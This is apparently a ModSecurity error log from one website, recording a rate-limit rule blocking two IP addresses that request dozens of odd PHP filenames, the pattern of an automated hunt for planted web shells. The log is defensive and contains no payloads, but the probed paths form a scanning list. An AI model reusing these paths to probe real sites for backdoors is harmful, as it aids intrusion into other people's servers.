[Sun Jan 04 21:13:10.885564 2026] [:error] [pid 30954:tid 30967] [client 20.42.216.46:2715] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api986.php"] [unique_id "aVpnZk4oIXUIQsb698rcZQAAAQs"]
[Sun Jan 04 21:13:11.021421 2026] [:error] [pid 21720:tid 21739] [client 20.42.216.46:17374] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api986.php"] [unique_id "aVpnZ35pkDWzwRcldOpQLQAAAJE"]
[Sun Jan 04 21:13:11.123947 2026] [:error] [pid 29350:tid 29363] [client 20.42.216.46:12377] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api986.php"] [unique_id "aVpnZ1ZWNWo1XwAbpfahvAAAAoY"]
[Sun Jan 04 21:13:11.377327 2026] [:error] [pid 29350:tid 29369] [client 20.42.216.46:22788] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api986.php"] [unique_id "aVpnZ1ZWNWo1XwAbpfahvQAAAow"]
[Sun Jan 04 21:13:12.005247 2026] [:error] [pid 31042:tid 31085] [client 20.42.216.46:22815] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nav-menu.php"] [unique_id "aVpnaBIvDwkaO5JnDaTFBwAAA0Q"]
[Sun Jan 04 21:13:14.695513 2026] [:error] [pid 17268:tid 17284] [client 20.42.216.46:29772] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nav-menu.php"] [unique_id "aVpnarPW8UB8HzRRfIdGhAAAAU0"]
[Sun Jan 04 21:13:16.643409 2026] [:error] [pid 23868:tid 23882] [client 20.42.216.46:12366] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nav-menu.php"] [unique_id "aVpnbLbaf-JYFyQL_0595gAAAEY"]
[Sun Jan 04 21:13:18.609732 2026] [:error] [pid 29350:tid 29367] [client 20.42.216.46:13718] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nav-menu.php"] [unique_id "aVpnblZWNWo1XwAbpfahwgAAAoo"]
[Sun Jan 04 21:13:21.669996 2026] [:error] [pid 31042:tid 31093] [client 20.42.216.46:13731] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/out.php"] [unique_id "aVpncRIvDwkaO5JnDaTFDQAAA0w"]
[Sun Jan 04 21:13:24.727748 2026] [:error] [pid 21720:tid 21737] [client 20.42.216.46:11242] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/out.php"] [unique_id "aVpndH5pkDWzwRcldOpQRgAAAI8"]
[Sun Jan 04 21:13:26.858615 2026] [:error] [pid 30985:tid 31022] [client 20.42.216.46:29763] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/out.php"] [unique_id "aVpndkisiM0XfzVcTWCguwAAAcg"]
[Sun Jan 04 21:13:30.035814 2026] [:error] [pid 29351:tid 29404] [client 20.42.216.46:13712] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/out.php"] [unique_id "aVpneptGiMsRmNcKXvo2nwAAAtQ"]
[Sun Jan 04 21:13:33.423150 2026] [:error] [pid 30985:tid 31037] [client 20.42.216.46:35933] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aVpnfUisiM0XfzVcTWCgvwAAAdc"]
[Sun Jan 04 21:13:36.237775 2026] [:error] [pid 17268:tid 17282] [client 20.42.216.46:36514] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aVpngLPW8UB8HzRRfIdGnAAAAUs"]
[Sun Jan 04 21:13:38.491750 2026] [:error] [pid 30985:tid 31023] [client 20.42.216.46:34996] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aVpngkisiM0XfzVcTWCgxQAAAck"]
[Sun Jan 04 21:13:42.005215 2026] [:error] [pid 29351:tid 29394] [client 20.42.216.46:29793] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aVpnhptGiMsRmNcKXvo2rAAAAso"]
[Sun Jan 04 21:13:42.474307 2026] [:error] [pid 29351:tid 29384] [client 20.42.216.46:13734] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckv.php"] [unique_id "aVpnhptGiMsRmNcKXvo2sAAAAsA"]
[Sun Jan 04 21:13:43.475259 2026] [:error] [pid 29351:tid 29389] [client 20.42.216.46:24977] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckv.php"] [unique_id "aVpnh5tGiMsRmNcKXvo2tAAAAsU"]
[Sun Jan 04 21:13:46.161776 2026] [:error] [pid 30954:tid 30971] [client 20.42.216.46:29883] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckv.php"] [unique_id "aVpnik4oIXUIQsb698rcigAAAQ8"]
[Sun Jan 04 21:13:47.142256 2026] [:error] [pid 21720:tid 21736] [client 20.42.216.46:24999] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckv.php"] [unique_id "aVpni35pkDWzwRcldOpQZgAAAI4"]
[Sun Jan 04 21:13:49.471746 2026] [:error] [pid 23868:tid 23876] [client 20.42.216.46:34982] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu1.php"] [unique_id "aVpnjbbaf-JYFyQL_05-DgAAAEA"]
[Sun Jan 04 21:13:50.497266 2026] [:error] [pid 23868:tid 23878] [client 20.42.216.46:17463] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu1.php"] [unique_id "aVpnjrbaf-JYFyQL_05-FAAAAEI"]
[Sun Jan 04 21:13:52.360319 2026] [:error] [pid 17268:tid 17271] [client 20.42.216.46:34981] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu1.php"] [unique_id "aVpnkLPW8UB8HzRRfIdGogAAAUA"]
[Sun Jan 04 21:13:53.218687 2026] [:error] [pid 17268:tid 17290] [client 20.42.216.46:25008] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu1.php"] [unique_id "aVpnkbPW8UB8HzRRfIdGpAAAAVM"]
[Sun Jan 04 21:13:53.955065 2026] [:error] [pid 1297:tid 1309] [client 20.42.216.46:10257] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k11dSQ.php"] [unique_id "aVpnkRf98x0RBG23PjflogAAAAo"]
[Sun Jan 04 21:13:55.039447 2026] [:error] [pid 30985:tid 31035] [client 20.42.216.46:2750] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k11dSQ.php"] [unique_id "aVpnk0isiM0XfzVcTWCg1AAAAdU"]
[Sun Jan 04 21:13:56.502477 2026] [:error] [pid 30985:tid 31027] [client 20.42.216.46:2702] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k11dSQ.php"] [unique_id "aVpnlEisiM0XfzVcTWCg1wAAAc0"]
[Sun Jan 04 21:14:05.199620 2026] [:error] [pid 17268:tid 17279] [client 20.42.216.46:47692] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/data243.php"] [unique_id "aVpnnbPW8UB8HzRRfIdGuwAAAUg"]
[Sun Jan 04 21:14:07.232916 2026] [:error] [pid 1297:tid 1308] [client 20.42.216.46:47730] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/data243.php"] [unique_id "aVpnnxf98x0RBG23PjflwgAAAAk"]
[Sun Jan 04 21:14:08.734522 2026] [:error] [pid 1297:tid 1301] [client 20.42.216.46:22786] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/data243.php"] [unique_id "aVpnoBf98x0RBG23PjflxwAAAAI"]
[Sun Jan 04 21:14:11.270514 2026] [:error] [pid 29350:tid 29378] [client 20.42.216.46:12410] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/data243.php"] [unique_id "aVpno1ZWNWo1XwAbpfaiAwAAApU"]
[Sun Jan 04 21:14:14.638938 2026] [:error] [pid 23868:tid 23894] [client 20.42.216.46:26984] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core990.php"] [unique_id "aVpnprbaf-JYFyQL_05-RQAAAFI"]
[Sun Jan 04 21:14:15.748000 2026] [:error] [pid 17268:tid 17294] [client 20.42.216.46:36496] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core990.php"] [unique_id "aVpnp7PW8UB8HzRRfIdGxQAAAVc"]
[Sun Jan 04 21:14:16.999237 2026] [:error] [pid 17268:tid 17286] [client 20.42.216.46:2779] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core990.php"] [unique_id "aVpnqLPW8UB8HzRRfIdGxwAAAU8"]
[Sun Jan 04 21:14:18.107417 2026] [:error] [pid 29350:tid 29371] [client 20.42.216.46:2739] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core990.php"] [unique_id "aVpnqlZWNWo1XwAbpfaiCgAAAo4"]
[Sun Jan 04 21:14:19.312658 2026] [:error] [pid 21720:tid 21744] [client 20.42.216.46:29785] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aVpnq35pkDWzwRcldOpQoAAAAJY"]
[Sun Jan 04 21:14:19.841966 2026] [:error] [pid 29350:tid 29359] [client 20.42.216.46:13716] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aVpnq1ZWNWo1XwAbpfaiDgAAAoI"]
[Sun Jan 04 21:14:21.405057 2026] [:error] [pid 1297:tid 1306] [client 20.42.216.46:11779] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aVpnrRf98x0RBG23Pjfl2QAAAAc"]
[Sun Jan 04 21:14:24.723527 2026] [:error] [pid 23868:tid 23893] [client 20.42.216.46:2705] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/akcc.php"] [unique_id "aVpnsLbaf-JYFyQL_05-TwAAAFE"]
[Sun Jan 04 21:14:26.839754 2026] [:error] [pid 21720:tid 21745] [client 20.42.216.46:12363] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aVpnsn5pkDWzwRcldOpQrAAAAJc"]
[Sun Jan 04 21:14:30.881218 2026] [:error] [pid 21720:tid 21729] [client 20.42.216.46:2701] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aVpntn5pkDWzwRcldOpQtAAAAIc"]
[Sun Jan 04 21:14:34.531392 2026] [:error] [pid 31042:tid 31096] [client 20.42.216.46:47710] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aVpnuhIvDwkaO5JnDaTFUQAAA08"]
[Sun Jan 04 21:14:37.894368 2026] [:error] [pid 30954:tid 30973] [client 20.42.216.46:10254] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aVpnvU4oIXUIQsb698rcwAAAARE"]
[Sun Jan 04 21:14:45.822629 2026] [:error] [pid 29350:tid 29363] [client 20.42.216.46:11819] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config596.php"] [unique_id "aVpnxVZWNWo1XwAbpfaiJQAAAoY"]
[Sun Jan 04 21:14:48.694072 2026] [:error] [pid 1297:tid 1321] [client 20.42.216.46:27204] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config596.php"] [unique_id "aVpnyBf98x0RBG23Pjfl6QAAABY"]
[Sun Jan 04 21:14:50.214208 2026] [:error] [pid 1297:tid 1303] [client 20.42.216.46:31105] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config596.php"] [unique_id "aVpnyhf98x0RBG23Pjfl7QAAAAQ"]
[Sun Jan 04 21:14:51.169602 2026] [:error] [pid 30954:tid 30970] [client 20.42.216.46:43430] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config596.php"] [unique_id "aVpny04oIXUIQsb698rczgAAAQ4"]
[Sun Jan 04 21:14:54.425499 2026] [:error] [pid 29351:tid 29386] [client 20.42.216.46:12635] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib854.php"] [unique_id "aVpnzptGiMsRmNcKXvo3BAAAAsI"]
[Sun Jan 04 21:14:57.385092 2026] [:error] [pid 23903:tid 23930] [client 20.42.216.46:31129] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib854.php"] [unique_id "aVpn0T_yzB-omvQP-LLOVgAAANU"]
[Sun Jan 04 21:14:58.812396 2026] [:error] [pid 23868:tid 23888] [client 20.42.216.46:29791] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib854.php"] [unique_id "aVpn0rbaf-JYFyQL_05-bgAAAEw"]
[Sun Jan 04 21:15:00.391488 2026] [:error] [pid 23903:tid 23910] [client 20.42.216.46:2101] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib854.php"] [unique_id "aVpn1D_yzB-omvQP-LLOWgAAAME"]
[Sun Jan 04 21:15:02.404946 2026] [:error] [pid 29351:tid 29385] [client 20.42.216.46:2071] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/I3zu2h.php"] [unique_id "aVpn1ptGiMsRmNcKXvo3CwAAAsE"]
[Sun Jan 04 21:15:04.296447 2026] [:error] [pid 29350:tid 29368] [client 20.42.216.46:19176] [client 20.42.216.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/I3zu2h.php"] [unique_id "aVpn2FZWNWo1XwAbpfaiJgAAAos"]
[Sun Jan 04 21:19:57.688650 2026] [:error] [pid 23903:tid 23928] [client 20.42.211.204:47956] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aVpo_T_yzB-omvQP-LLPwAAAANM"]
[Sun Jan 04 21:19:58.035278 2026] [:error] [pid 23903:tid 23925] [client 20.42.211.204:44289] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aVpo_j_yzB-omvQP-LLPwgAAANA"]
[Sun Jan 04 21:19:59.860364 2026] [:error] [pid 31042:tid 31100] [client 20.42.211.204:58149] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aVpo_xIvDwkaO5JnDaTGrAAAA1M"]
